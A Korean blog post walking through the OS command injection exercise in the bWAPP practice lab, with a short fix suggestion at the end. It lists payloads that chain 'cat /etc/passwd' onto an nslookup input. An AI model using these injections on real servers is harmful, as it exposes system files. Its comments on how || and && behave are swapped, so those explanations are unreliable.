취약점/Bee-Box

A1-Injection OS Command Injection 비박스(bWAPP)

시큐렛 2019. 12. 2. 22:47

OS Command Injection이란?

공격자가 서버에 임의의 운영 체제(OS) 명령을 실행하여 서버에 대한 정보를 획득하거나 데이터를 변조 및 삭제할 수 있는 웹 취약점이다.


OS Command Injection 메인페이지

페이지에 접근하면 위 사진과 같이 DNS lookup: 을 할 수 있는 페이지가 표시된고 인풋 박스에 URL을 넣으면 nslookup 명령어를 사용한 정보가 출력된다.

nslookup www.nsa.go.kr

여기서 nslookup은 도메인 네임 서비스 (ex.www.google.com)의 호스트 IP주소를 찾아내는 명령어입니다.

소스코드

소스코드를 열어보았을 때 target을 포스트로 받아서 "nslookup target"을 실행한 값을 출력하는 코드로 확인된다.

(여기서 commandi()는 security_level에 따라 필터함)


삽입 코드

www.nsa.gov ;cat /etc/passwd		//nslookup 실행후 cat실행
www.nsa.gov |cat /etc/passwd		//cat만 실행됨
www.nsa.gov ||cat /etc/passwd		//nslook이 정상적으로 실행되야 cat도 실행됨
www.nsa.gov &cat /etc/passwd		//nslook과 cat을 백그라운드로 실행
www.nsa.gov &&cat /etc/passwd		//nslookup이 정상이든 말든 cat도 실행됨

위 코드는 /etc/passwd파일을 보여주고 nslookup www.nsa.gov를 실행하라는 다중 실행 명령이다. 

 

 

passwd파일

위 코드를 삽입하여 Lookup버튼 클릭 시 사진과 같이 passwd파일이 보이는 것을 확인할 수 있다.


대응방안

;,|,&등 특수문자를 필터링 하여 입력을 받아주면 된다.